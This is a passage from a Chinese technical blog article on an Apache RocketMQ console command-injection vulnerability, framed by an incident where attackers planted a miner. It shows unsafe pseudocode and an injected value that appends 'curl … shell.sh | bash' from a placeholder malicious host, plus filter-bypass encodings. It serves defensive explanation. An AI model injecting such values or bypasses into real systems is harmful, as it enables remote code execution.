Apache RocketMQ命令注入漏洞：原理、复现与批量检测脚本

1. 项目概述：从一次应急响应说起

那天晚上，我正在处理一个常规的日志分析任务，告警系统突然弹出一条高优先级通知，提示某台业务服务器的CPU使用率在几秒内飙升至100%，并伴随大量异常的网络连接。登录服务器一看， top 命令里一个陌生的 sh 进程赫然在列，消耗着大量资源。顺着进程树排查，最终定位到了一个我们正在使用的消息中间件——Apache RocketMQ的管理控制台。经过一番紧张的溯源和分析，确认我们遭遇了利用RocketMQ命令注入漏洞的攻击。攻击者通过一个精心构造的HTTP请求，在服务器上远程执行了任意命令，试图部署挖矿木马。这次事件让我对这类漏洞的隐蔽性和危害性有了切肤之痛。事后，我不仅修复了漏洞，更深入研究了其原理，并编写了一套用于内部安全巡检的批量验证脚本。今天，我就把这个漏洞的来龙去脉、技术细节、以及如何验证和防御，毫无保留地分享出来。无论你是运维工程师、安全研究员还是开发者，理解这个漏洞都能帮助你更好地守护自己的系统。

简单来说，这个漏洞存在于Apache RocketMQ的某个历史版本中，攻击者无需任何身份认证，就可以通过向RocketMQ服务发送一个特定的HTTP请求，在服务运行所在的操作系统上执行任意命令。这意味着，如果你的RocketMQ服务暴露在公网，或者被内网攻击者访问到，对方就能直接获得服务器控制权，后果不堪设想。接下来，我将从漏洞原理、影响范围、环境搭建、漏洞复现、批量验证脚本编写，再到修复方案，为你完整拆解。

2. 漏洞原理深度剖析：一条HTTP请求如何变成系统命令

要理解这个漏洞，我们得先看看RocketMQ的架构。RocketMQ主要由NameServer（命名服务器）、Broker（代理服务器）和Console（控制台）等组件构成。其中，Console是一个独立的Web应用，用于管理和监控RocketMQ集群，它提供了丰富的RESTful API。问题就出在Console对某些API接口的请求参数处理上。

2.1 漏洞触发点与代码溯源

漏洞的核心是一个未经过滤或过滤不严的“命令拼接”操作。在早期版本的RocketMQ Console中，存在一个用于调用系统命令的功能，例如更新配置、执行某些运维操作。在实现这个功能时，开发者可能为了图方便，直接使用了 Runtime.getRuntime().exec() 这类方法，并且将用户可控的输入（如HTTP请求参数）拼接到了待执行的命令字符串中。

假设存在一个API接口 /admin/updateConfig ，其逻辑伪代码如下：

String configItem = request.getParameter(“item”); // 用户传入的参数
String configValue = request.getParameter(“value”); // 用户传入的参数
// 危险操作：直接拼接用户输入到系统命令中
String command = “sh update_script.sh ” + configItem + “ ” + configValue;
Runtime.getRuntime().exec(command);

正常情况下，用户可能传入 item=brokerConfig 和 value=timeout=3000 。拼接后的命令是 sh update_script.sh brokerConfig timeout=3000 ，这看起来没问题。

但如果攻击者传入的 value 参数是 timeout=3000; curl http://恶意服务器/shell.sh | bash ，那么拼接后的命令就变成了：

sh update_script.sh brokerConfig timeout=3000; curl http://恶意服务器/shell.sh | bash

在Linux的Shell中，分号 ; 是命令分隔符。这意味着，在执行完正常的 sh update_script.sh brokerConfig timeout=3000 之后，系统会继续执行后面的命令：从攻击者的服务器下载一个Shell脚本并直接运行。这样一来，攻击者就实现了远程代码执行。

在实际的RocketMQ漏洞中，触发点可能更隐蔽，例如通过 filterServer 相关的参数、或者某些调试接口。攻击者通过注入管道符 | 、反引号 ` 、 && 、 || 或 $() 等Shell元字符，来突破原有命令的限制，拼接执行恶意指令。

2.2 为什么过滤总是“漏网之鱼”

你可能会想，为什么不对用户输入进行严格过滤呢？在实际开发中，这往往源于几个原因：

1. 安全意识不足 ：在内部管理界面或被认为“安全”的环境下，开发者容易放松警惕，认为这些接口不会被恶意访问。
2. 过滤逻辑不全面 ：可能只过滤了空格、分号，但遗漏了 ${IFS} （内部字段分隔符的变量）、Tab键编码 %09 、换行符 %0a 等绕过方式。
3. 多层解析导致绕过 ：用户输入可能经过前端JavaScript校验、后端Java代码过滤，但最终命令在操作系统Shell层面执行。如果过滤发生在Java层，而Shell解析时某些字符发生了“变形”或产生了新的含义，就可能被绕过。例如，Java代码里过滤了分号 ; ，但攻击者使用编码后的 %3b ，在某些场景下可能被正常解码后传入Shell。
4. 依赖黑名单而非白名单 ：试图列出所有危险的字符（黑名单）是徒劳的，总有漏网之鱼。最安全的方式是只允许已知安全的字符集（白名单），或者彻底避免命令拼接，使用安全的API调用来实现功能。

这个RocketMQ漏洞正是上述问题的一个典型体现，它给所有中间件和基础软件的开发者敲响了警钟：任何来自外部的输入都是不可信的，尤其是在涉及系统调用的地方。

3. 影响范围与受威胁场景分析

这个漏洞并非存在于所有RocketMQ版本中，官方在发现后已经在新版本中修复。通常，它影响的是4.x系列的某个特定范围版本（例如4.9.0以下，或4.x的某个子版本范围，具体需根据CVE编号确认）。如果你的RocketMQ版本落在这个范围内，并且满足以下条件，那么风险极高：

1. RocketMQ Console暴露在网络中 ：这是最危险的场景。C